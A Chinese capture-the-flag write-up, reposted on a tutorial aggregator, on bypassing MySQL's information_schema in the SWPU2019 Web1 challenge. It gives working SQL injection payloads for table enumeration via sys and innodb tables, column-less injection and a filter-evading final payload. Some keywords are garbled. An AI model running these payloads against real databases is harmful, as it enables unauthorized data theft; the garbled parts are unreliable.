大佬教程收集整理的这篇文章主要介绍了[SWPU2019]Web1--关于information_schema的绕过方式,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
这个知识点没接触过,记录一下,顺便修正一下网上文章的坑点
一:sys.scheR_599_11845@ma限制:mysql ≥ 5.7版本般要超级管理员才可以访问syspayload:?id=-1' union all SELEct 1,2,GROUP_CONCAt(table_Name)from sys.scheR_599_11845@a_auto_increment_columns where table_scheR_599_11845@a=database()--+?id=-1' union all SELEct 1,2,GROUP_CONCAt(table_Name)from sys.scheR_599_11845@a_table_statistics_with_buffer where table_scheR_599_11845@a=database()--+?id=-1' union all SELEct*from (SELEct * from users as a join users b)c--+ #获取第一列的列名?id=-1' union all SELEct*from (SELEct * from users as a join users b using(id,userName))c--+ #获取次列及后续列名
二:无列名注入(SELEct `2` from (SELEct 1,2,3 union SELEct * FROM table_Name)a) #前提是要知道表名 ((SELEct c from (SELEct 1,2,3 c union SELEct * from users)b)) #1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
三:innodb引擎限制:mysql ≥ 5.5版本mysql.innodb_table_stats 或 mysql.innodb_table_index 存放所有库名,表名SELEct GROUP_CONCAt(table_Name) from mysql.innodb_table_statsSELEct table_name from mysql.innodb_table_stats where database_name=库名
这题技巧一在buuctf种用不了,会提示无此函数
技巧三就不说了复制粘贴就行,
主要是在技巧二的地方遇到坑了
先放一下我的最终payload:
11'union/**/SELEct/**/1,(SELEct/**/GROUP_CONCAt(`3`)/**/from(SELEct/**/1,2,3/**/union/**/SELEct*from/**/users)X),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21'
首先网上很多文章是chao的,所有根本没说清楚users表三列是怎么试出来的,首先我们试下他们的流程
这样是没问题的
这两个也是没问题的
但是原题环境跟这个并不相同,你得首先构造一个查询,以此为例
接着进行union注入
此时在2的位置替换,我们的联合查询
你会发现报错,题目环境也是这个报错,说明这样并不能用,那怎么进行猜列数呢
如果你这样写,会报一个多数据错误,所以GROUP_CONCAt是必须的
此时才能完成查询功能,所以猜列的payload必须完整输入时才能进行,并不是和正常查询一样在之前进行的列猜测
然后我发现题目并没有限制 `` 符号,所以可以直接查询
ps:真是想吐槽一下,写文章自己都没弄明白就一通chao的真的太多了,连payload都一样,自己都不试试吗???写这篇文章也是给新做题的朋友一个正确的提示,这帮人真的太划了!!!
以上是大佬教程为你收集整理的[SWPU2019]Web1--关于information_schema的绕过方式全部内容,希望文章能够帮你解决[SWPU2019]Web1--关于information_schema的绕过方式所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。